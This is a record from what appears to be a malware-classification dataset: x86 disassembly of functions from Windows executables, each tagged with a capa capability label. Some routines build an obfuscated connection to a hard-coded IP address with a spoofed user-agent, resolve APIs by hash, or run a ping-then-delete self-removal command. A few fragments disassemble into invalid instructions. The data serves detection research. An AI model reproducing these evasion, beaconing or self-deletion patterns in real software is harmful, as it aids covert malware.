joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4094f0
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp dword [ebp + 8], 0
push edi
je 0x409663
mov edi, dword [ebp + 0x10]
test edi, edi
je 0x409663
mov eax, 0xaaaaaaab
mov ecx, edi
mul edi
push ebx
mov ebx, edx
shr ebx, 1
push esi
mov esi, dword [ebp + 0xc]
lea eax, [ebx + ebx*2]
sub ecx, eax
mov eax, 0
mov dword [ebp - 4], ecx
setne al
add eax, ebx
shl eax, 2
mov dword [ebp - 8], eax
test esi, esi
je 0x40965c
xor eax, eax
test ebx, ebx
je 0x4095c0
mov edi, dword [ebp + 8]
add edi, 2
lea ebx, [ebx]
movzx ecx, byte [edi - 2]
lea edi, [edi + 3]
shr ecx, 2
movzx ecx, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + esi], cl
movzx edx, byte [edi - 5]
movzx ecx, byte [edi - 4]
and edx, 3
shr ecx, 4
shl edx, 4
or edx, ecx
movzx ecx, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + esi + 1], cl
movzx edx, byte [edi - 4]
movzx ecx, byte [edi - 3]
and edx, 0xf
shr ecx, 6
shl edx, 2
or edx, ecx
movzx ecx, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + esi + 2], cl
movzx ecx, byte [edi - 3]
and ecx, 0x3f
movzx ecx, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + esi + 3], cl
add eax, 4
sub ebx, 1
jne 0x409550
mov ecx, dword [ebp - 4]
mov edi, dword [ebp + 0x10]
sub ecx, 1
je 0x409627
sub ecx, 1
jne 0x409659
mov ebx, dword [ebp + 8]
movzx ecx, byte [ebx + edi - 2]
shr ecx, 2
movzx ecx, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + esi], cl
movzx edx, byte [ebx + edi - 2]
movzx ecx, byte [ebx + edi - 1]
and edx, 3
shr ecx, 4
shl edx, 4
or edx, ecx
movzx ecx, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + esi + 1], cl
lea ecx, [eax + 2]
movzx eax, byte [ebx + edi - 1]
and eax, 0xf
mov al, byte [eax*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx + esi], al
mov eax, dword [ebp - 8]
mov byte [ecx + esi + 1], 0x3d
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 8]
movzx ecx, byte [edx + edi - 1]
shr ecx, 2
movzx ecx, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + esi], cl
movzx ecx, byte [edx + edi - 1]
and ecx, 3
shl ecx, 4
movzx ecx, byte [ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [eax + esi + 1], cl
mov word [eax + esi + 2], 0x3d3d
mov eax, dword [ebp - 8]
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x40bb50
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4208cb
mov eax, dword fs:[0]
push eax
sub esp, 0x250
mov eax, dword [0x436f04]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x248]
mov dword [ebp - 0x244], 0xffffffff
push eax
mov dword [ebp - 0x248], 0xffffffff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
je 0x40bd60
cmp dword [ebp - 0x248], 0xffffffff
je 0x40bd60
xor esi, esi
xor edi, edi
xor ebx, ebx
mov dword [ebp - 0x24c], esi
mov dword [ebp - 0x25c], esi
mov dword [ebp - 0x258], edi
mov dword [ebp - 0x254], ebx
push ebx
push 2
mov dword [ebp - 4], ebx
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x240], eax
cmp eax, 0xffffffff
je 0x40bd29
push 0x228
lea eax, [ebp - 0x238]
mov dword [ebp - 0x23c], 0x22c
push ebx
push eax
call fcn.0040e5d0
add esp, 0xc
lea eax, [ebp - 0x23c]
push eax
push dword [ebp - 0x240]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x40bca0
jmp 0x40bc30
lea eax, [ebp - 0x218]
push str.explorer.exe
push eax
call fcn.00411675
add esp, 8
test eax, eax
jne 0x40bc7e
cmp edi, ebx
je 0x40bc5f
mov eax, dword [ebp - 0x234]
mov dword [edi], eax
add edi, 4
mov dword [ebp - 0x258], edi
jmp 0x40bc7e
lea eax, [ebp - 0x234]
push eax
push edi
lea ecx, [ebp - 0x25c]
call fcn.0040b7a0
mov ebx, dword [ebp - 0x254]
mov edi, dword [ebp - 0x258]
lea eax, [ebp - 0x23c]
push eax
push dword [ebp - 0x240]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x40bc30
mov esi, dword [ebp - 0x25c]
mov dword [ebp - 0x24c], esi
push dword [ebp - 0x240]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, edi
je 0x40bd29
lea eax, [ebp - 0x240]
mov dword [ebp - 0x240], 0xffffffff
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
je 0x40bd14
mov eax, dword [ebp - 0x240]
cmp eax, dword [ebp - 0x248]
jne 0x40bd14
push dword [esi]
push 0
push 0x100400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x250], eax
test eax, eax
je 0x40bd14
lea ecx, [ebp - 0x244]
push ecx
push 0xf
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push dword [ebp - 0x250]
test eax, eax
jne 0x40bd1d
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, edi
jne 0x40bcb0
jmp 0x40bd23
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0x24c]
mov edi, dword [ebp - 0x244]
test esi, esi
je 0x40bd5c
sub ebx, esi
mov eax, esi
and ebx, 0xfffffffc
cmp ebx, 0x1000
jb 0x40bd52
mov esi, dword [esi - 4]
add ebx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40bd82
push ebx
push esi
call fcn.0040c5e9
add esp, 8
mov eax, edi
jmp 0x40bd66
mov eax, dword [ebp - 0x244]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040c856
mov esp, ebp
pop ebp
ret
call fcn.0041002c
int3
Function at 0x40c622
Capabilities:
Parse pe header

Disassembly:
push ebp
xor eax, eax
mov ebp, esp
mov edx, dword [ebp + 8]
cmp word [edx], 0x5a4d
jne 0x40c640
mov eax, dword [edx + 0x3c]
add eax, edx
cmp dword [eax], 0x4550
je 0x40c640
xor eax, eax
pop ebp
ret

Function at 0x40c73b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add byte [ebx + 0x100098], cl
add byte [ebp + 0x45c7d445], cl
fsub dword [ebp]
insb byte es:[edi], dx
add bh, al
inc ebp
fsubr qword [eax + eax + 0x33]
add bh, al
inc ebp
loopne 0x40c789
add byte [eax], al
add byte [ecx + 0x53ff2404], cl
adc al, 0x52
mov dword [ebx + 0x4c], eax
test eax, eax
je 0x40c77f
mov dword [esp + 4], 0x70f2d4b1
mov dword [esp], eax
call fcn.0040c642
mov dword [ebx + 0x40], eax
test eax, eax
je 0x40c7e0
xor eax, eax
mov dword [ebp - 0x1c], 0x70747468
xor edx, edx
xor ecx, ecx
sal byte [ecx], cl
leave
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x18], 0x2f2f3a73
mov dword [ebp - 0x14], 0x2e777777
mov dword [ebp - 0x10], 0x2e737077
mov word [ebp - 0xc], 0x6e63
mov byte [ebp - 0xa], 0x2f
mov byte [ebp - 0x2d], 0
mov dword [ebp - 0x31], 0x6e65706f
mov dword [esp + 8], eax
lea eax, [ebp - 0x31]
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], edx

Function at 0x40c8b7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1ac
call fcn.0040c5c6
mov dword [ebp - 0x146], 0x690057
mov dword [ebp - 0x142], 0x68006e
mov ebx, dword [eax + 0x1000]
xor eax, eax
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x16c], eax
lea eax, [ebp - 0x146]
mov dword [ebp - 0x13e], 0x740074
mov dword [ebp - 0x13a], 0x70
mov dword [esp], eax
call dword [ebx + 0x14]
push edx
mov esi, eax
mov dword [esp + 4], 0x613eace5
mov dword [esp], eax
call fcn.0040c642
mov dword [ebx + 0x20], eax
mov dword [esp + 4], 0x81e0c81d
mov dword [esp], esi
call fcn.0040c642
mov dword [ebx + 0x24], eax
mov dword [esp + 4], 0xb06d900e
mov dword [esp], esi
call fcn.0040c642
mov dword [ebx + 0x2c], eax
mov dword [esp + 4], 0x7739d0e6
out 0xd0, al
cmp dword [edi - 0x77], esi
xor al, 0x24
call fcn.0040c642
mov dword [ebx + 0x30], eax
mov dword [esp + 4], 0xae351ae5
mov dword [esp], esi
call fcn.0040c642
mov dword [ebx + 0x3c], eax
mov dword [esp + 4], 0x1c701c04
and al, 4
add al, 0x1c
jo 0x40c996
mov dword [ebp - 0x136], 0x310031
xor eax, eax
mov dword [ebp - 0x132], 0x2e0037
mov dword [ebp - 0x12e], 0x300035
mov dword [ebp - 0x12a], 0x32002e
mov dword [ebp - 0x126], 0x360031
mov dword [ebp - 0x122], 0x31002e
mov dword [ebp - 0x11e], 0x380037
mov word [ebp - 0x11a], 0
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x136]
mov dword [esp + 8], 0x50
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x184]
mov dword [esp], eax
mov eax, dword [ebp - 0x184]
mov dword [esp], eax
call dword [ebx + 0x28]
push eax
jmp 0x40cf8f
Function at 0x40c974
Capabilities:
Contain obfuscated stackstrings

Disassembly:
and al, 4
add al, 0x1c
jo 0x40c996
mov dword [esp], esi
call fcn.0040c642
mov dword [ebx + 0x34], eax
mov dword [esp + 4], 0x75064b89
mov dword [esp], esi
call fcn.0040c642
mov dword [ebx + 0x38], eax
mov dword [esp + 4], 0xa7355f15
mov dword [esp], esi
inc ebx
cmp bh, al
inc esp
and al, 4
adc eax, 0x89a7355f
xor al, 0x24
call fcn.0040c642
xor ecx, ecx
mov dword [ebp - 0x118], 0x6f004d
mov dword [ebx + 0x28], eax
lea eax, [ebp - 0x118]
mov word [ebp - 0x1a], 0
mov dword [ebp - 0x1a], 0x85c70000
in al, dx
invalid
invalid
invalid
jp 0x40c9cb
imul eax, dword [eax], 0xfef085c7
invalid
jmp [eax + eax + 0x6c]
add bh, al
test esp, esi
invalid
invalid
jmp dword [ecx]
das
add bh, al
test eax, edi
invalid
invalid
push dword [0xc7002e00]
test esp, edi
invalid
invalid
push dword [eax]
add byte [eax], ah
add bh, al
test dword [eax], eax
invalid
invalid
jmp [eax]
add byte [edi], dl
mov dword [ebp - 0xfc], 0x6e0069
mov dword [ebp - 0xf8], 0x6f0064
mov dword [ebp - 0xf4], 0x730077
mov dword [ebp - 0xf0], 0x4e0020
mov dword [ebp - 0xec], 0x200054
mov dword [ebp - 0xe8], 0x300031
mov dword [ebp - 0xe4], 0x30002e
mov dword [ebp - 0xe0], 0x20003b
mov dword [ebp - 0xdc], 0x690057
mov dword [ebp - 0xd8], 0x36006e
mov dword [ebp - 0xd4], 0x3b0034
mov dword [ebp - 0xd0], 0x780020
mov dword [ebp - 0xcc], 0x340036
mov dword [ebp - 0xc8], 0x200029
mov dword [ebp - 0xc4], 0x700041
mov dword [ebp - 0xc0], 0x6c0070
invalid

Function at 0x40cbc0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add byte [edi], ah
mov dword [ebp - 0x32], 0x31002f
mov dword [ebp - 0x2e], 0x370032
mov dword [ebp - 0x2a], 0x30002e
mov dword [ebp - 0x26], 0x30002e
mov dword [ebp - 0x22], 0x32002e
mov dword [ebp - 0x1e], 0x300035
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 8], ecx
mov dword [esp + 4], ecx
mov dword [esp], eax
call dword [ebx + 0x20]
mov dword [ebp - 0x184], eax
sub esp, 0x14
test eax, eax
je 0x40cf8f
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40d1a3
Capabilities:
Hash data using djb2

Disassembly:
push ebp
xor eax, eax
mov ebp, esp
push edi
push esi
mov esi, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x40d1ea
mov ecx, ebx
mov eax, 0x1505
mov dl, byte [ecx]
test esi, esi
jne 0x40d1c8
test dl, dl
jne 0x40d1d7
jmp 0x40d1ea
mov edi, ecx
sub edi, ebx
cmp edi, esi
jae 0x40d1ea
test dl, dl
jne 0x40d1d7
inc ecx
jmp 0x40d1df
cmp dl, 0x60
jbe 0x40d1df
sub edx, 0x20
imul eax, eax, 0x21
movzx edx, dl
inc ecx
add eax, edx
jmp 0x40d1bc
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x41571b
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041526e
Function at 0x406ced
Capabilities:
Parse pe header

Disassembly:
push 0x74
push 0x40af98
call fcn.00406fd4
xor ebx, ebx
mov dword [ebp - 0x20], ebx
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x406d2d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x406d2d
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x406d45
cmp eax, 0x20b
je 0x406d32
mov dword [ebp - 0x1c], ebx
jmp 0x406d59
cmp dword [ecx + 0x84], 0xe
jbe 0x406d2d
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x406d53
cmp dword [ecx + 0x74], 0xe
jbe 0x406d2d
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.MSVCR71.dll___set_app_type]
pop ecx
or dword [0x40ea78], 0xffffffff
or dword [0x40ea7c], 0xffffffff
call dword [sym.imp.MSVCR71.dll___p__fmode]
mov ecx, dword [0x40d464]
mov dword [eax], ecx
call dword [sym.imp.MSVCR71.dll___p__commode]
mov ecx, dword [0x40d460]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCR71.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x40ea74], eax
call fcn.00524000
call fcn.00406fd0
cmp dword [0x40d320], ebx
jne 0x406db9
push fcn.00406fd0
call dword [sym.imp.MSVCR71.dll___setusermatherr]
pop ecx
call fcn.00406fbe
push 0x40c00c
push 0x40c008
call sub.MSVCR71.dll__initterm
push 0x406f74
call fcn.00406f1e
mov eax, dword [0x40d45c]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x40d458]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.MSVCR71.dll___getmainargs]
add esp, 0x20
mov dword [ebp - 0x3c], eax
cmp eax, ebx
jge 0x406e0d
push 8
call sub.MSVCR71.dll__amsg_exit
pop ecx
push 0x40c004
push section..data
call sub.MSVCR71.dll__initterm
pop ecx
pop ecx
mov eax, dword [sym.imp.MSVCR71.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x24], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x406e8b
cmp al, bl
je 0x406e37
cmp dword [ebp - 0x20], ebx
jne 0x406e8b
mov al, byte [esi]
cmp al, bl
je 0x406e47
cmp al, 0x20
ja 0x406e47
inc esi
mov dword [ebp - 0x24], esi
jmp 0x406e37
mov dword [ebp - 0x58], ebx
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x58], 1
je 0x406e63
movzx eax, word [ebp - 0x54]
jmp 0x406e66
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call edi
push eax
call fcn.00404254
mov esi, eax
mov dword [ebp - 0x40], esi
cmp dword [ebp - 0x1c], ebx
jne 0x406e83
push esi
call dword [sym.imp.MSVCR71.dll_exit]
call dword [sym.imp.MSVCR71.dll__cexit]
jmp 0x406ee0
cmp al, 0x22
jne 0x406e9a
xor ecx, ecx
cmp dword [ebp - 0x20], ebx
sete cl
mov dword [ebp - 0x20], ecx
movzx eax, al
push eax
call dword [sym.imp.MSVCR71.dll__ismbblead]
pop ecx
test eax, eax
je 0x406ead
inc esi
mov dword [ebp - 0x24], esi
inc esi
jmp 0x406e25
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.0040700f
ret
Function at 0x402cbb
Capabilities:
Create directory
Set current directory

Disassembly:
push 0x10
mov eax, 0x45e153
call fcn.00441277
and dword [ebp - 4], 0
and dword [ebp - 0x14], 0
call fcn.00416e55
mov dword [ebp - 0x1c], eax
test eax, eax
lea edi, [ebp - 0x18]
lea esi, [ebp - 0x14]
lea eax, [ebp - 0x10]
je 0x402cf4
push 0x26
push eax
call fcn.00416aea
pop ecx
pop ecx
mov byte [ebp - 4], 1
jmp 0x402d02
push 0x1c
push eax
call fcn.00416aea
pop ecx
pop ecx
mov byte [ebp - 4], 2
mov ebx, 0x489394
push eax
mov ecx, ebx
call fcn.004035bc
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.00401109
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0xc]
cmp eax, 4
jle 0x402d85
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040359e
push 0
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 3
call fcn.004036cd
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripPathW]
push str.ZohoMeeting
lea ecx, [ebp - 0x10]
call fcn.00403514
test eax, eax
jne 0x402d6b
push eax
lea ecx, [ebp + 8]
call fcn.004036cd
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea eax, [ebp + 8]
push eax
mov ecx, ebx
call fcn.004035bc
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.00401109
push ecx
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.ZohoMeeting
call fcn.00403310
push 0x489368
call fcn.00403ef1
push 0
push dword [0x489390]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov esi, eax
push esi
push dword [0x489390]
push str.Create_Dir_:_s_Res:_d
call fcn.004098d8
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetLastError]
test esi, esi
jne 0x402e5a
cmp dword [ebp - 0x1c], 1
jne 0x402e67
cmp eax, 0xb7
je 0x402e67
lea eax, [ebp - 0x1c]
push 0x1c
push eax
lea edi, [ebp - 0x18]
lea esi, [ebp - 0x14]
call fcn.00416aea
pop ecx
pop ecx
push eax
mov ecx, ebx
mov byte [ebp - 4], 4
call fcn.004035bc
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x1c]
add ecx, 0xfffffff0
call fcn.00401109
push ecx
mov ecx, esp
mov dword [ebp - 0x1c], esp
push str.ZohoMeeting
call fcn.00403310
push 0x489368
call fcn.00403ef1
push 0
push dword [0x489390]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push dword [0x489390]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test esi, esi
jne 0x402e67
push str.Unable_to_create_directory
call fcn.00409842
jmp 0x402e66
push eax
push str.Unable_to_create_folder_:Error:_d
call fcn.004098d8
pop ecx
pop ecx
push dword [0x489394]
push str.Path_is_:_s
call fcn.004098d8
pop ecx
pop ecx
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00401109
call fcn.0044134f
ret 4
Function at 0x404d82
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x45d2f6
mov eax, dword fs:[0]
push eax
sub esp, 0x5a8
mov eax, dword [0x4849a0]
xor eax, esp
mov dword [esp + 0x5a0], eax
push esi
mov eax, dword [0x4849a0]
xor eax, esp
push eax
lea eax, [esp + 0x5b0]
mov dword fs:[0], eax
lea eax, [esp + 0x14]
push eax
push 0x202
xor esi, esi
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x400
lea eax, [esp + 0x1a8]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
cmp eax, esi
jne 0x404e85
lea eax, [esp + 0x1a4]
push eax
lea ecx, [esp + 0x14]
call fcn.00403354
mov dword [esp + 0x5b8], esi
push dword [eax]
push str.Hostname_is__:__s
call fcn.00409842
or dword [esp + 0x5c0], 0xffffffff
pop ecx
pop ecx
mov ecx, dword [esp + 0x10]
add ecx, 0xfffffff0
call fcn.00401109
lea eax, [esp + 0x1a4]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, esi
je 0x404e79
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov esi, eax
push esi
lea ecx, [esp + 0x10]
call fcn.00403354
mov dword [esp + 0x5b8], 1
push dword [eax]
push str.IP_address_is:__s
call fcn.00409842
pop ecx
pop ecx
mov ecx, dword [esp + 0xc]
add ecx, 0xfffffff0
call fcn.00401109
jmp 0x404e98
push str.Could_not_get_IP_address_
call fcn.00409842
jmp 0x404e97
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Could_not_get_hostname___d_
call fcn.00409842
pop ecx
pop ecx
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, esi
mov ecx, dword [esp + 0x5b0]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x5a0]
xor ecx, esp
call fcn.0043a2d7
mov esp, ebp
pop ebp
ret

Function at 0x404ec2
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push str.https:__www.zoho.com_assist_livechat.html
lea ecx, [ebp - 4]
call fcn.00403310
push 1
xor eax, eax
push eax
push eax
push dword [ebp - 4]
push eax
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [ebp - 4]
add ecx, 0xfffffff0
call fcn.00401109
leave
ret

Function at 0x4056df
Capabilities:
Create directory

Disassembly:
push ebp
lea ebp, [esp - 0x43c]
sub esp, 0x4bc
mov eax, dword [0x4849a0]
xor eax, ebp
mov dword [ebp + 0x438], eax
mov eax, dword [ebp + 0x444]
push ebx
push eax
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x78]
push eax
call fcn.0043b05d
lea eax, [ebp - 0x78]
push eax
call fcn.0043aad2
add esp, 0xc
xor ebx, ebx
test eax, eax
mov dword [ebp - 0x80], eax
jle 0x405778
push esi
push edi
lea esi, [ebp + 0x1e0]
lea edi, [ebp + ebx*2 - 0x78]
movzx eax, word [edi]
cmp ax, 0x5c
je 0x40573e
cmp ax, 0x2f
jne 0x40576b
and word [esi], 0
push 0
lea eax, [ebp + 0x1e0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x405768
lea eax, [ebp + 0x1e0]
push eax
push 0x46a8ec
call fcn.0043b692
pop ecx
pop ecx
mov ax, word [edi]
mov word [esi], ax
inc esi
inc esi
inc ebx
cmp ebx, dword [ebp - 0x80]
jl 0x40572b
pop edi
pop esi
push dword [ebp - 0x7c]
call fcn.0043b62b
pop ecx
mov ecx, dword [ebp + 0x438]
xor ecx, ebp
pop ebx
call fcn.0043a2d7
add ebp, 0x43c
leave
ret 4
Function at 0x406ef6
Capabilities:
Create process on windows

Disassembly:
push 8
mov eax, 0x45d2a5
call fcn.00441277
and dword [ebp - 4], 0
call fcn.0041ef9c
push eax
lea ecx, [ebp - 0x14]
call fcn.00406449
mov byte [ebp - 4], 1
call fcn.0041ef9c
push eax
lea ecx, [ebp - 0x10]
call fcn.00406449
mov byte [ebp - 4], 2
mov eax, dword [0x489504]
cmp eax, 3
jne 0x406f48
push str.ZohoURSService.exe
lea ecx, [ebp - 0x14]
call fcn.0040387a
push str._uninstall__SessionType_URS
jmp 0x406f5f
cmp eax, 1
jne 0x406fab
push str.ZohoMeeting.exe
lea ecx, [ebp - 0x14]
call fcn.0040387a
push str._uninstall__SessionType_ASSIST
lea ecx, [ebp - 0x10]
call fcn.0040387a
mov esi, dword [ebp + 8]
mov edi, dword [ebp - 0x10]
mov ebx, dword [ebp - 0x14]
push 1
push esi
push edi
push ebx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push eax
push str.Uninstall_service_called__d
call fcn.00409842
pop ecx
pop ecx
lea ecx, [edi - 0x10]
call fcn.00401109
lea ecx, [ebx - 0x10]
call fcn.00401109
lea ecx, [esi - 0x10]
call fcn.00401109
mov al, 1
jmp 0x406fdd
push dword [ebp + 0xc]
push str.Invalid_type_received__d
call fcn.00409842
pop ecx
pop ecx
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.00401109
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.00401109
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00401109
xor al, al
call fcn.0044134f
ret

Function at 0x406fe3
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
lea ebp, [esp - 0x5f0]
sub esp, 0x670
mov eax, dword [0x4849a0]
xor eax, ebp
mov dword [ebp + 0x5ec], eax
push esi
push edi
xor esi, esi
push 0x40
lea eax, [ebp - 0x7c]
push esi
push eax
mov dword [ebp - 0x80], esi
call fcn.0043d8e0
xor eax, eax
mov dword [ebp - 0x3c], esi
lea edi, [ebp - 0x38]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
push 0x104
lea eax, [ebp + 0x3e4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp + 0x3e4]
push eax
push str.cmd.exe__C_ping_1.1.1.1__n_1__w_3000___Nul__Del___s_
mov eax, 0x208
lea edi, [ebp - 0x2c]
call fcn.004068eb
pop ecx
pop ecx
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push 0x8000000
push esi
push esi
push esi
mov eax, edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push dword [ebp - 0x38]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x3c]
call esi
mov ecx, dword [ebp + 0x5ec]
pop edi
xor ecx, ebp
pop esi
call fcn.0043a2d7
add ebp, 0x5f0
leave
ret